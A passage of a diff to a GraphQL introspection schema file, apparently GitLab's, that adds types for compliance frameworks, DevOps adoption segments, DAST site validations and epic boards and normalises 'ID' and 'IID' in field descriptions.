"ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "id", + "description": "Compliance framework ID", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "name", "description": "Name of the compliance framework", "args": [ @@ -8452,6 +9229,16 @@ "possibleTypes": null }, { + "kind": "SCALAR", + "name": "ComplianceManagementFrameworkID", + "description": "Identifier of ComplianceManagement::Framework", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { "kind": "INPUT_OBJECT", "name": "ConfigureSastInput", "description": "Autogenerated input type of ConfigureSast", @@ -9005,6 +9792,24 @@ "deprecationReason": null }, { + "name": "project", + "description": "Project of the container registry", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "Project", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "status", "description": "Status of the container repository.", "args": [ @@ -9306,6 +10111,24 @@ "deprecationReason": null }, { + "name": "project", + "description": "Project of the container registry", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "Project", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "status", "description": "Status of the container repository.", "args": [ @@ -9803,7 +10626,7 @@ }, { "name": "iid", - "description": "The iid of the alert to mutate", + "description": "The IID of the alert to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -9933,7 +10756,7 @@ "inputFields": [ { "name": "environmentId", - "description": "The global id of the environment to add an annotation to", + "description": "The global ID of the environment to add an annotation to", "type": { "kind": "SCALAR", "name": "EnvironmentID", @@ -9943,7 +10766,7 @@ }, { "name": "clusterId", - "description": "The global id of the cluster to add an annotation to", + "description": "The global ID of the cluster to add an annotation to", "type": { "kind": "SCALAR", "name": "ClustersClusterID", @@ -10122,28 +10945,18 @@ "defaultValue": null }, { - "name": "assigneeId", - "description": "The ID of the user to be assigned to the board.", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "milestoneId", - "description": "The ID of the milestone to be assigned to the board.", + "name": "hideBacklogList", + "description": "Whether or not backlog list is hidden", "type": { "kind": "SCALAR", - "name": "MilestoneID", + "name": "Boolean", "ofType": null }, "defaultValue": null }, { - "name": "weight", - "description": "The weight of the board.", + "name": "hideClosedList", + "description": "Whether or not closed list is hidden", "type": { "kind": "SCALAR", "name": "Boolean", @@ -10152,24 +10965,6 @@ "defaultValue": null }, { - "name": "labelIds", - "description": "The IDs of labels to be added to the board.", - "type": { - "kind": "LIST", - "name": null, - "ofType": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "LabelID", - "ofType": null - } - } - }, - "defaultValue": null - }, - { "name": "clientMutationId", "description": "A unique identifier for the client performing the mutation.", "type": { @@ -10499,6 +11294,150 @@ }, { "kind": "INPUT_OBJECT", + "name": "CreateComplianceFrameworkInput", + "description": "Autogenerated input type of CreateComplianceFramework", + "fields": null, + "inputFields": [ + { + "name": "namespacePath", + "description": "Full path of the namespace to add the compliance framework to.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "name", + "description": "Name of the compliance framework.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "description", + "description": "Description of the compliance framework.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "color", + "description": "Color to represent the compliance framework as a hexadecimal value. e.g. #ABC123.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "CreateComplianceFrameworkPayload", + "description": "Autogenerated return type of CreateComplianceFramework", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "framework", + "description": "The created compliance framework.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "ComplianceFramework", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "CreateCustomEmojiInput", "description": "Autogenerated input type of CreateCustomEmoji", "fields": null, @@ -10629,13 +11568,133 @@ }, { "kind": "INPUT_OBJECT", + "name": "CreateDevopsAdoptionSegmentInput", + "description": "Autogenerated input type of CreateDevopsAdoptionSegment", + "fields": null, + "inputFields": [ + { + "name": "name", + "description": "Name of the segment", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "groupIds", + "description": "The array of group IDs to set for the segment", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "GroupID", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "CreateDevopsAdoptionSegmentPayload", + "description": "Autogenerated return type of CreateDevopsAdoptionSegment", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "segment", + "description": "The segment after mutation", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "DevopsAdoptionSegment", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "CreateDiffNoteInput", "description": "Autogenerated input type of CreateDiffNote", "fields": null, "inputFields": [ { "name": "noteableId", - "description": "The global id of the resource to add a note to", + "description": "The global ID of the resource to add a note to", "type": { "kind": "NON_NULL", "name": null, @@ -10983,7 +12042,7 @@ "inputFields": [ { "name": "noteableId", - "description": "The global id of the resource to add a note to", + "description": "The global ID of the resource to add a note to", "type": { "kind": "NON_NULL", "name": null, @@ -11561,7 +12620,7 @@ "inputFields": [ { "name": "noteableId", - "description": "The global id of the resource to add a note to", + "description": "The global ID of the resource to add a note to", "type": { "kind": "NON_NULL", "name": null, @@ -11599,7 +12658,7 @@ }, { "name": "discussionId", - "description": "The global id of the discussion this note is in reply to", + "description": "The global ID of the discussion this note is in reply to", "type": { "kind": "SCALAR", "name": "DiscussionID", @@ -12627,7 +13686,7 @@ }, { "name": "globalId", - "description": "ID of the DAST scanner profile. Deprecated in 13.6: Use `id`", + "description": "ID of the DAST scanner profile Deprecated in 13.6: Use `id`.", "args": [ ], @@ -12641,7 +13700,7 @@ } }, "isDeprecated": true, - "deprecationReason": "Use `id`. Deprecated in 13.6" + "deprecationReason": "Use `id`. Deprecated in 13.6." }, { "name": "id", @@ -12974,7 +14033,7 @@ }, { "name": "globalId", - "description": "ID of the scanner profile.. Deprecated in 13.6: Use `id`", + "description": "ID of the scanner profile. Deprecated in 13.6: Use `id`.", "args": [ ], @@ -12984,7 +14043,7 @@ "ofType": null }, "isDeprecated": true, - "deprecationReason": "Use `id`. Deprecated in 13.6" + "deprecationReason": "Use `id`. Deprecated in 13.6." }, { "name": "id", @@ -13391,6 +14450,20 @@ "deprecationReason": null }, { + "name": "normalizedTargetUrl", + "description": "Normalized URL of the target to be scanned", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "profileName", "description": "The name of the site profile", "args": [ @@ -13988,6 +15061,12 @@ "interfaces": null, "enumValues": [ { + "name": "NONE", + "description": "No site validation exists", + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "PENDING_VALIDATION", "description": "Site validation process has not started", "isDeprecated": false, @@ -14171,7 +15250,7 @@ "fields": [ { "name": "id", - "description": "ID of the site validation", + "description": "Global ID of the site validation", "args": [ ], @@ -14188,8 +15267,22 @@ "deprecationReason": null }, { + "name": "normalizedTargetUrl", + "description": "Normalized URL of the target to be validated", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "status", - "description": "The status of the validation", + "description": "Status of the site validation", "args": [ ], @@ -14214,6 +15307,73 @@ "possibleTypes": null }, { + "kind": "OBJECT", + "name": "DastSiteValidationConnection", + "description": "The connection type for DastSiteValidation.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "DastSiteValidationEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "DastSiteValidation", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "INPUT_OBJECT", "name": "DastSiteValidationCreateInput", "description": "Autogenerated input type of DastSiteValidationCreate", @@ -14368,6 +15528,51 @@ "possibleTypes": null }, { + "kind": "OBJECT", + "name": "DastSiteValidationEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "DastSiteValidation", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "SCALAR", "name": "DastSiteValidationID", "description": "Identifier of DastSiteValidation", @@ -14418,7 +15623,7 @@ "inputFields": [ { "name": "id", - "description": "The global ID of the annotation to delete", + "description": "Global ID of the annotation to delete", "type": { "kind": "NON_NULL", "name": null, @@ -14499,6 +15704,94 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "DeleteDevopsAdoptionSegmentInput", + "description": "Autogenerated input type of DeleteDevopsAdoptionSegment", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "ID of the segment", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "AnalyticsDevopsAdoptionSegmentID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DeleteDevopsAdoptionSegmentPayload", + "description": "Autogenerated return type of DeleteDevopsAdoptionSegment", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "DeleteJobsResponse", "description": "The response from the AdminSidekiqQueuesDeleteJobs mutation", @@ -16119,7 +17412,7 @@ }, { "name": "iid", - "description": "The iid of the issue to modify designs for", + "description": "The IID of the issue to modify designs for", "type": { "kind": "NON_NULL", "name": null, @@ -16399,7 +17692,7 @@ }, { "name": "iid", - "description": "The iid of the issue to modify designs for", + "description": "The IID of the issue to modify designs for", "type": { "kind": "NON_NULL", "name": null, @@ -17162,6 +18455,94 @@ }, { "kind": "INPUT_OBJECT", + "name": "DestroyComplianceFrameworkInput", + "description": "Autogenerated input type of DestroyComplianceFramework", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "The global ID of the compliance framework to destroy", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ComplianceManagementFrameworkID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DestroyComplianceFrameworkPayload", + "description": "Autogenerated return type of DestroyComplianceFramework", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "DestroyContainerRepositoryInput", "description": "Autogenerated input type of DestroyContainerRepository", "fields": null, @@ -17268,13 +18649,149 @@ }, { "kind": "INPUT_OBJECT", + "name": "DestroyContainerRepositoryTagsInput", + "description": "Autogenerated input type of DestroyContainerRepositoryTags", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "ID of the container repository.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ContainerRepositoryID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "tagNames", + "description": "Container repository tag(s) to delete. Total number can't be greater than 20", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DestroyContainerRepositoryTagsPayload", + "description": "Autogenerated return type of DestroyContainerRepositoryTags", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "deletedTagNames", + "description": "Deleted container repository tags", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "DestroyNoteInput", "description": "Autogenerated input type of DestroyNote", "fields": null, "inputFields": [ { "name": "id", - "description": "The global id of the note to destroy", + "description": "The global ID of the note to destroy", "type": { "kind": "NON_NULL", "name": null, @@ -17376,7 +18893,7 @@ "inputFields": [ { "name": "id", - "description": "The global id of the snippet to destroy", + "description": "The global ID of the snippet to destroy", "type": { "kind": "NON_NULL", "name": null, @@ -17618,51 +19135,20 @@ "name": "groups", "description": "Assigned groups", "args": [ - { - "name": "after", - "description": "Returns the elements in the list that come after the specified cursor.", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "before", - "description": "Returns the elements in the list that come before the specified cursor.", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "first", - "description": "Returns the first _n_ elements from the list.", - "type": { - "kind": "SCALAR", - "name": "Int", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "last", - "description": "Returns the last _n_ elements from the list.", - "type": { - "kind": "SCALAR", - "name": "Int", - "ofType": null - }, - "defaultValue": null - } + ], "type": { - "kind": "OBJECT", - "name": "GroupConnection", - "ofType": null + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "Group", + "ofType": null + } + } }, "isDeprecated": false, "deprecationReason": null @@ -17686,6 +19172,20 @@ "deprecationReason": null }, { + "name": "latestSnapshot", + "description": "The latest adoption metrics for the segment", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "DevopsAdoptionSnapshot", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "name", "description": "Name of the segment", "args": [ @@ -17824,6 +19324,199 @@ "possibleTypes": null }, { + "kind": "OBJECT", + "name": "DevopsAdoptionSnapshot", + "description": "Snapshot", + "fields": [ + { + "name": "deploySucceeded", + "description": "At least one deployment succeeded", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "endTime", + "description": "The end time for the snapshot where the data points were collected", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "issueOpened", + "description": "At least one issue was opened", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "mergeRequestApproved", + "description": "At least one merge request was approved", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "mergeRequestOpened", + "description": "At least one merge request was opened", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pipelineSucceeded", + "description": "At least one pipeline succeeded", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "recordedAt", + "description": "The time the snapshot was recorded", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "runnerConfigured", + "description": "At least one runner was used", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "securityScanSucceeded", + "description": "At least one security scan succeeded", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "startTime", + "description": "The start time for the snapshot where the data points were collected", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "INPUT_OBJECT", "name": "DiffImagePositionInput", "description": null, @@ -18809,7 +20502,7 @@ "inputFields": [ { "name": "id", - "description": "The global id of the discussion", + "description": "The global ID of the discussion", "type": { "kind": "NON_NULL", "name": null, @@ -19572,7 +21265,7 @@ "args": [ { "name": "startDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.start", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.start.", "type": { "kind": "SCALAR", "name": "Time", @@ -19582,7 +21275,7 @@ }, { "name": "endDate", - "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present). Deprecated in 13.5: Use timeframe.end", + "description": "List items overlapping a time frame defined by startDate..endDate (if one date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.", "type": { "kind": "SCALAR", "name": "Time", @@ -19698,7 +21391,7 @@ }, { "name": "iidStartsWith", - "description": "Filter epics by iid for autocomplete", + "description": "Filter epics by IID for autocomplete", "type": { "kind": "SCALAR", "name": "String", @@ -20707,7 +22400,7 @@ "inputFields": [ { "name": "iid", - "description": "The iid of the epic to mutate", + "description": "The IID of the epic to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -20749,7 +22442,7 @@ }, { "name": "issueIid", - "description": "The iid of the issue to be added", + "description": "The IID of the issue to be added", "type": { "kind": "NON_NULL", "name": null, @@ -20859,6 +22552,163 @@ }, { "kind": "OBJECT", + "name": "EpicBoard", + "description": "Represents an epic board", + "fields": [ + { + "name": "id", + "description": "Global ID of the board", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "BoardsEpicBoardID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the board", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "EpicBoardConnection", + "description": "The connection type for EpicBoard.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "EpicBoardEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "EpicBoard", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "EpicBoardEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "EpicBoard", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", "name": "EpicConnection", "description": "The connection type for Epic.", "fields": [ @@ -21236,7 +23086,7 @@ }, { "name": "blocked", - "description": "Indicates the issue is blocked", + "description": "Indicates the issue is blocked.", "args": [ ], @@ -21254,7 +23104,7 @@ }, { "name": "blockedByCount", - "description": "Count of issues blocking this issue", + "description": "Count of issues blocking this issue.", "args": [ ], @@ -21552,7 +23402,7 @@ }, { "name": "epic", - "description": "Epic to which this issue belongs", + "description": "Epic to which this issue belongs.", "args": [ ], @@ -21584,7 +23434,7 @@ }, { "name": "healthStatus", - "description": "Current health status. Returns null if `save_issuable_health_status` feature flag is disabled.", + "description": "Current health status.", "args": [ ], @@ -21658,7 +23508,7 @@ }, { "name": "iteration", - "description": "Iteration of the issue", + "description": "Iteration of the issue.", "args": [ ], @@ -21724,6 +23574,28 @@ "deprecationReason": null }, { + "name": "metricImages", + "description": "Metric images associated to the issue.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "MetricImage", + "ofType": null + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "milestone", "description": "Milestone of the issue", "args": [ @@ -21978,7 +23850,7 @@ }, { "name": "statusPagePublishedIncident", - "description": "Indicates whether an issue is published to the status page", + "description": "Indicates whether an issue is published to the status page.", "args": [ ], @@ -22250,7 +24122,7 @@ }, { "name": "weight", - "description": "Weight of the issue", + "description": "Weight of the issue.", "args": [ ], @@ -22592,7 +24464,7 @@ "inputFields": [ { "name": "iid", - "description": "The iid of the epic to mutate", + "description": "The IID of the epic to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -22809,7 +24681,7 @@ "inputFields": [ { "name": "id", - "description": "The id of the epic_issue or epic that is being moved", + "description": "The ID of the epic_issue or epic that is being moved", "type": { "kind": "NON_NULL", "name": null, @@ -22823,7 +24695,7 @@ }, { "name": "adjacentReferenceId", - "description": "The id of the epic_issue or issue that the actual epic or issue is switched with", + "description": "The ID of the epic_issue or issue that the actual epic or issue is switched with", "type": { "kind": "SCALAR", "name": "EpicTreeSortingID", @@ -22864,7 +24736,7 @@ "inputFields": [ { "name": "baseEpicId", - "description": "The id of the base epic of the tree", + "description": "The ID of the base epic of the tree", "type": { "kind": "NON_NULL", "name": null, @@ -22992,6 +24864,117 @@ "possibleTypes": null }, { + "kind": "OBJECT", + "name": "ExternalIssue", + "description": "Represents an external issue", + "fields": [ + { + "name": "createdAt", + "description": "Timestamp of when the issue was created", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "externalTracker", + "description": "Type of external tracker", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "relativeReference", + "description": "Relative reference of the issue in the external tracker", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "status", + "description": "Status of the issue in the external tracker", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "title", + "description": "Title of the issue in the external tracker", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "updatedAt", + "description": "Timestamp of when the issue was updated", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "webUrl", + "description": "URL to the issue in the external tracker", + "args": [ + + ], + "type": { + 